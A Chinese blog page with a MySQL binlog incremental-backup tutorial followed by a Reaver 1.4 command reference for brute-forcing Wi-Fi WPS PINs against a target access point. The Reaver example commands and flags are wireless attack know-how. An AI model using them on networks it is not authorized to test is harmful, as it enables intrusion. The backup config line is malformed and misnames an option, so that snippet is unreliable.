温馨提醒

亲爱的游客,你的浏览器太旧啦.都啥年代了.为了你的安全,为了你的体验,为更好的浏览本页, 赶紧更新一把吧.....本博客不支持ie8以下浏览器,如果你使用的是ie浏览器,请您更新到ie8或以上版本.

推荐使用谷歌浏览器(chrome)或火狐浏览器(Firefox),点击下方按键进行安装

码农部落

  ——好记性,不如烂博客!

mysql增量备份

增量备份
定义:mysql数据库会以二进制的形式,自动把用户对mysql数据库的操作,记录到文件,当用户希望恢复的时候可以使用备份文件,进行恢复。
增量备份会记录那些语句(dml语句,创建表的语句,不会记录select语),会记录操作语句本身和操作时间。
注意:mysql从版本5.1开始才支持增量备份。
步骤:
(1) 配置my.ini 文件 或者my.conf 启用二进制备份。
定位到:[mysqld] 加入下面的语句。

[mysqld]
port=3306
#这里指定备份文件保存的位置
log-bin=d:/binlog/mylog expire_logs_day=7

expire_logs_day=7 代表日期过期时间

(2) 重新启动后,会得到如下文件。
mylog.index 索引文件,用于记录有哪里增量备份文件
mylog.000001 存放用户对数据库操作的文件
我们先运行几条sql语句看看;

create database temp;   
use temp;   / 
create table test(id int primary key auto_increment,name varchar(32))engine=myisam charset utf8;   
insert into test values(null,'aaa');  

(3) 可以使用mysqlbinlog 程序来查看 备份文件的内容
mysqlbinlog 备份文件路径
mysql_bak_1
(4) 实验开始,我们先执行几次下面的语句:

insert into test values(null,'aaaa');
过半分钟后,再执行:
insert into test values(null,'aaaa');
drop tables test;

(5) 恢复数据
先看一下日志文件:
mysql_bak_2
每一个操作前,都会有一个时间和位置。
按时间来恢复:
我们恢复到drop表之前:
mysqlbinlog –stop-datetime=”2014-01-01 19:26:27″ d:\binlog\mylog.000001 |mysql -uroot –p
主要参数要两个:
–stop-datetime 代表从备份头部开始,恢复到指定的时间点。
–start-datetime 代表从某个时间点开始,恢复到最后。
也可以两个参数一起用,代表一个要恢复的范围,按位置来恢复原理也是一样的。

按位置来恢复
我们恢复到drop表之前:
mysqlbinlog –stop-position=”2188″ d:\binlog\mylog.000001 |mysql -uroot –p

个人建议用位置来恢复。
(5) 如何在工作中将全备份和增量备份配合使用。
方案:每周一做一个全备份(mysqldump ),启用增量备份,把过期时间设置为大于7的。


Reaver1.4基本命令参数详解及应用

案例:

reaver -i mon1 -b E0:05:C5:67:FC:8C -c 1 -s -a -v -S -x 2 -r 100:2 -l 2
ifconfig -a              //确认你用哪一个网卡WLAN0或WLAN1
airmon-ng start wlan0     //开启监听模式
airodump-ng mon0          //查看周边AP信息(抓包)
reaver -i mon0 -b MAC 
reave的进度表文件保存在:
   1.3版:/etc/reaver/MAC地址.wpc
   1.4版:/usr/local/etc/reaver/MAC地址.wpc

reaver必需的参数:

-i, --interface=wlan Name of the monitor-mode interface to use  //监视模式接口使用的名称
-b, --bssid=mac BSSID of the target AP                  //目标AP的mac地址

可选参数

-c, --channel=channel Set the 802.11 channel for the interface (implies -f)    
        //设置接口的802.11信道 (意味着 -f)
-s, --session=file Restore a previous session file     //恢复以前的记录文件
-a, --auto Auto detect the best advanced options for the target AP    
        //自动检测目标AP的最先进的选项
-v, --verbose Display non-critical warnings (-vv for more)     //显示非关键的警告(- VV更多)
-S, --dh-small Use small DH keys to improve crack speed     //使用小DH密钥,以提高PJ速度
-x, --fail-wait=seconds Set the time to sleep after 10 unexpected failures [0]    
        //设定时间后进入休眠10[0]意外故障
-r, --recurring-delay=xy Sleep for y seconds every x pin attempts     //对每一个pin码尝试Y秒
-l, --lock-delay=seconds Set the time to wait if the AP locks WPS pin attempts [60]    
        //设置等待的时间,如果AP锁定WPS PIN尝试[60]